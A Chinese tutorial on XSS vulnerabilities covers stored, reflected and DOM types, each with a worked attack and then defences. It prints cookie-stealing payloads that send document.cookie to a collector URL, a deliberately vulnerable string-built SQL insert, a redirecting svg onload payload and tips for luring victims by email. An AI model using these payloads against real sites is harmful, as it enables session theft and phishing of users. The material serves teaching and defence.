网络安全之XSS漏洞

这篇具有很好参考价值的文章主要介绍了网络安全之XSS漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一. 引言

Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种代码注入攻击。XSS 攻击通常指的是利用网页的漏洞,攻击者通过巧妙的方法注入 XSS 代码到网页,因为浏览器无法分辨哪些脚本是可信的,导致 XSS 脚本被执行。XSS 脚本通常能够窃取用户数据并发送到攻击者的网站,或者冒充用户,调用目标网站接口并执行攻击者指定的操作。

我们需要关注XSS漏洞,主要是因为它可能对个人用户和企业网站造成严重影响。首先,XSS攻击可能导致用户的个人信息被盗取,例如反射型XSS攻击大多数是用来盗取用户的Cookie信息。其次,XSS漏洞也可能影响企业网站的正常运行,甚至成为蠕虫和盗窃cookie的工具。此外,XSS漏洞还可以用于执行一些恶意操作,如篡改网页内容、窃取会话和cookie等。更重要的是,由于所有的输入都可能成为XSS漏洞的载体,这使得XSS防护变得尤为重要。因此,了解并关注XSS漏洞,对于保护个人隐私和企业安全有着至关重要的作用。

二. XSS漏洞的基本概念

跨站脚本攻击(XSS),是一种网络安全漏洞,其实就是对用于的数据过滤不到位,它允许攻击者将恶意代码注入到其网站中。比如:在博客的内容中写入了一些恶意的脚本,但是博客并未对这些恶意的脚本进行处理,当其他用户再次请求查看博客内容的时候,在浏览器解析的时候会将博客内容的恶意脚本误认为是JS或HTML然后进行执行,这样就可以做一些恶意的操作,比如盗取该访客用户的个人信息,也可以执行一些恶意代码在服务器或访客用户电脑上,以获取一些敏感信息。这种攻击方式能够使得攻击者在不同的网站上运行,而这种攻击主要利用的是网页编程中的脚本语言,比如JS或HTML。对于XSS攻击主要有三种类型,存储型XSS攻击、反射型XSS攻击以及DOM型XSS攻击接下来我们针对这三类分开来说:

2.1 存储型XSS攻击

顾名思义存储型XSS,也就是XSS代码被攻击者存储到服务器当中,因此一旦有用户访问含有该存储型XSS代码的网站的时候就会被攻击。举个例子,比如这个XSS的攻击代码中,将浏览者本机的cookie发送给hacker,接下来,我们逐步在实现这样的一个攻击案例

2.1.1 寻找一个对写入过滤不严谨的网站,或者自己搭建一个对参数过滤不严格的网站

第一:这个网站对输入参数,不做任何过滤,直接写入数据库,而且写入数据库不能使用参数化,需要使用字符串拼接

insert into blog(username,content) values('"+ name +"','" + content+"';

直接这样,我们的html以及script的一些标签可以直接写入到数据库
第二:这个网站在显示博客数据的时候,未做任何操作,直接向HTML节点上附加DOM元素
有这样的先决条件,我们在进行XSS存储型攻击的时候就非常方便了

2.1.2 搭建一个接收信息的服务

这个服务器主要是接收从受害者哪里获取到的敏感信息,比如获取cookie信息,这个服务接收到信息的时候直接存储下来,比如存储到数据库或文本文件中

http://localhost/CrackTest/xsstest/test?cookie=xxx

这个服务是一个get请求,接收一个cookie参数
接下来,我们构造payload进行攻击

<script>window.open(\'http://localhost/CrackTest/xsstest/test?cookie=\'+document.cookie)</script>

这个payload主要含义,就是通过window.open()函数远程调用http://localhost/CrackTest/xsstest/test,然后通过javascript的document.cookie获取受害者的cookie信息,这样就可以将受害者的cookie信息发送到hacker的服务上了
hacker在写博客的时候将上面的payload写入到博客内容中,然后就开始等待了

2.1.3 受害者无知的访问了该博客内容

受害者不明真相的访问了该博客,引发上面的payload脚本被执行,那么受害者浏览器中的cookie信息就被发送到hacker搭建的服务上了,也就完成了对受害者信息的窃取

2.1.4 如何防护存储型xss攻击

1.设置HttpOnly标志,因为HttpOnly标志可以有效防止非法用户通过javascript读取cookie,setcookie()的参数,改为setcookie(‘username’,$name,time()+3600,NULL,NULL,NULL,TRUE);setcookie()函数里面第七个参数就是HttpOnly的设置

2.输入验证,对HTML元素和JS元素进行验证,在执行SQL插入操作的时候不允许HTML元素和JS元素存储在数据库中

3.对HTML元素渲染进行限制,并对对 HTML 做充分转义,限制输入框的html或js不允许其执行,或限制其执行范围。

4.采用Content Security Policy(CSP)策略,即内容安全策略,它用于检测并削弱某些特定类型的攻击,包括夸赞脚本和数据注入攻击等。为使 CSP 可用,你需要配置你的网络服务器返回 Content-Security-Policy HTTP 标头

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; img-src https://*; child-src 'none';" />

5.使用JavaScript Encryption
主要是对输入内容进行加密,加密的主要原理是破坏原有输入内容的结构导致,最好是选择不可逆的加密算法,这样就可以保证输入的内容不可能再次被执行
6.HTML实体编码
对HTML实体进行编码,目的也是为了破坏恶意脚本可执行的结构

2.2 反射型XSS攻击

反射型XSS将用户输入的内容作为代码让浏览器执行达到攻击目的,一般需要让用户访问攻击者构造的URL。这种类型的攻击只发生在客户端上,并且需要从带有恶意脚本参数的特定URL进入,所以也称为非持久型XSS。
其实也很常见,就比如通过QQ、邮件系统、短信收到的一些莫名其妙的链接,此时hacker会将这个恶意链接包装成“中奖”、“领取福利”或“某些秘密链接”,受害者在好奇心或捡便宜的心态驱使下点开了这个链接,然后执行了连接中隐藏的恶意代码,然后就将自己电脑或手机上敏感信息传送给hacker搭建的服务。
接下来我们看看如何搭建一个反射型XSS攻击实例:

2.2.1 hacker搭建一个服务,用于接收用户敏感信息

这个服务其实可以和上面的2.1.2类似

2.2.2 hacker伪造一个带有恶意代码的链接,然后通过邮件系统发送给受害者

首先构造一个恶意的链接,这个链接主要是后面的参数,即获取受害者cookie信息,然后将信息发送给hacker

http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://localhost/CrackTest/xsstest/test?cookie=%2bescape(document.cookie);+document.appendChild(img)</script>

然后这个链接通过QQ、短信或邮件的方式发送给对方,其实比较常见是通过邮件,因为可以大量发送,成本低,并且有些邮件系统未对安全做充分认证,hacker会将连接包装成一个特别诱人的名字,这样更能诱导用户点击

2.2.3 坐等鱼儿上钩

hacker只需要不断的监控接收服务接收到的数据即可

2.2.4 如何防护呢?

1.对于自建的邮件系统,我们要设置反垃圾邮件的设置,提高邮箱的安全性
2.加强自我安全认识,对陌生的链接或陌生的网站,最好不要乱去访问,说不定某一个链接后面就有一个反射XSS攻击在哪里等着你。

2.3 DOM型XSS攻击

DOM型的XSS,我认为是XSS攻击类型中最复杂的,需要一定的前端开发经验,接下来我们详细了解一下DOM型XSS攻击。
首先我们要了解什么是DOM,全称为文档对象模型(Document Object Model),主要是Web前端开发中使用到的一种模型。比如:在前端开发中会使用到很多元素,如< title>、< h1>等,而为了方便使用这些已经定义的元素,将这些元素作为结点排成树状后,通过遍历这棵树,就可以很方便的调用这些元素。而这颗树就称为DOM树。
网络安全之XSS漏洞,web安全,xss,安全
接下来我们通过一个实例来实验一下DOM型XSS攻击:

2.3.1构造一个存在DOM型XSS漏洞html页面

首先,我们要构造DOM型XSS漏洞,就需要js获取从url的数据并将其传递到支持动态代码执行的接收器,就会存在DOM的XSS漏洞。常见的JS接收器有:

document.write()
document.writeln()
document.domain
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent

如下HTML即存在DOM型XSS漏洞
网络安全之XSS漏洞,web安全,xss,安全
在输入query参数之后,参数就可以在HTML页面中显式
网络安全之XSS漏洞,web安全,xss,安全

2.3.2 进行XSS漏洞攻击

我们可以看到输入的参数在原先的页面HTML元素中被原封不动的显示出来,并未做任何处理。接下来,我们可以考虑使用DOM元素闭合的方式提前结束img标签,然后新增我们需要增加的HTML元素,就比如:

"><svg onload=alert(1)>

这段输入的含义是,首先闭合原先的img标签,然后在后面增加了一个svg的HTML的DOM元素标签,通过验证我们发现弹出框已经出来了,按照这个思路我们可以构造一些更加危险的脚本。接下来就可以通过此漏洞构造虚假的URL诱使受害用户点击以获得cookie,与之前的反射型或存储型XSS基本一致。还可以利用window.location.assign(URL)将受害用户重定向到钓鱼网站。

"><svg οnlοad=window.location.assign("http://www.baidu.com")>

2.3.3 构造这样的页面,进行钓鱼攻击

比如在某些Blog系统中,如果对输入为做好验证,以及安全防护不高的情况下,hacker对某一个大V的博客进行回复,并且回复内容将这种漏洞的payload储存在评论中。那么不知名的受害者,访问了这个大V的博客,轻者被诱导到一个不知名的网站,重则会损失跟人信息甚至是金钱。

2.3.4 防护DOM型XSS攻击

则类漏洞,主要还是参考2.1.4防护方式

2.4 总结

我们对XSS漏洞有了一个整体的认识,包括存储型XSS攻击、反射型XSS攻击和DOM型XSS攻击,其危害性还是比较大。我们只是从原理上风向这些XSS漏洞出现的原因,也是为了让我们在建设软件的时候能够更好的防护XSS攻击,以及对自我的安全教育,不要对那些未知的不知名的网站劫持了cookie里面敏感的信息。文章来源地址https://www.toymoban.com/news/detail-738791.html

到了这里,关于网络安全之XSS漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

    靶场安装请参考以下博客,既详细有提供工具: 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客 【网络安全 --- xss-labs通关】xss-labs靶场通关,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源) h

    2024年02月08日
    浏览(48)
  • Web安全测试(五):XSS攻击—存储式XSS漏洞

    结合内部资料,与安全渗透部门同事合力整理的安全测试相关资料教程,全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试,覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬! 全部文章请访问专栏: 《全栈安全测试教程(0基础

    2024年02月10日
    浏览(72)
  • 【网络安全】跨站脚本(xss)攻击

    跨站点脚本(也称为 XSS)是一种 Web 安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同的网站彼此隔离。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何操作,并访问用户的任何数据。

    2024年02月11日
    浏览(39)
  • 【网络安全】跨站脚本攻击(XSS)

    专栏文章索引:网络安全 有问题可私聊:QQ:3375119339 目录 一、XSS简介 二、XSS漏洞危害 三、XSS漏洞类型 1.反射型XSS 2.存储型XSS 3.DOM型XSS 四、XSS漏洞防御 XSS(Cross-Site Scripting) XSS 被称为跨站脚本攻击,由于和CSS重名,所以改为XSS。 XSS 主要使用 javascript , javascript 可以非常灵

    2024年04月28日
    浏览(52)
  • 网络安全——XSS跨站脚本攻击

    一、XSS概述 1、XSS被称为跨站脚本攻击,由于和CSS重名,所以改为XSS; 2、XSS主要基于JavaScript语言完成恶意的攻击行为,因为JavaScript可以非常灵活的操作html、CSS和浏览器 3、原理: XSS就是通过利用网页开发时留下的漏洞(由于Web应用程序对用户的输入过滤不足),巧妙的将恶

    2024年02月16日
    浏览(43)
  • web安全学习日志---xss漏洞(跨站脚本攻击)

      仅执行一次,非持久型。主要存在于攻击者将恶意脚本附加到url的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。 利用场景: 直接插入JS代码,修改url参数    攻 scriptalert(\\\'hack\\\')/script 防 $name=str_replace(\\\'script\\\', \\\'  \\\',$name

    2024年02月13日
    浏览(114)
  • 【安全测试】Web应用安全之XSS跨站脚本攻击漏洞

    目录 前言 XSS概念及分类 反射型XSS(非持久性XSS) 存储型XSS(持久型XSS) 如何测试XSS漏洞 方法一: 方法二: XSS漏洞修复 原则:不相信客户输入的数据 处理建议 资料获取方法 以前都只是在各类文档中见到过XSS,也进行过相关的学习,但是都是一知半解,过了一段时间就忘了。

    2024年02月14日
    浏览(53)
  • WEB安全之XSS漏洞与SQL注入漏洞介绍及解决方案

    这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,比较适合初学者观看。 对于防止sql注入发生,我在这里用简单拼接字符串的注入及参数化查询,如果大家对这个系列的内容感兴趣,可以在评论区告诉我! XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者

    2024年02月07日
    浏览(48)
  • [网络安全]xss-labs 本地靶场搭建详细教程

    本文以phpstudy搭建xss-labs本地靶场环境 PhpStudy是一个PHP调试环境的程序集成包,集成最新的Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer,安装后无须配置即可使用。 官网安装地址: PhpStudy Download 链接 安装完成后打开PhpStudy 网站配置如下: xss-labs 靶机下载地址: https://github.com/do0d

    2024年02月08日
    浏览(39)
  • 网络安全进阶学习第二课——XSS跨站脚本攻击

    首先了解什么是前端。前端从定义上来讲是指一个网站的前台部分,是展示给用户看的部分。它不需要关注任何业务之间的逻辑处理,只需要安安静静地做好自己,老老实实的把自己最美的一面展示给用户。 Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的

    2024年02月11日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包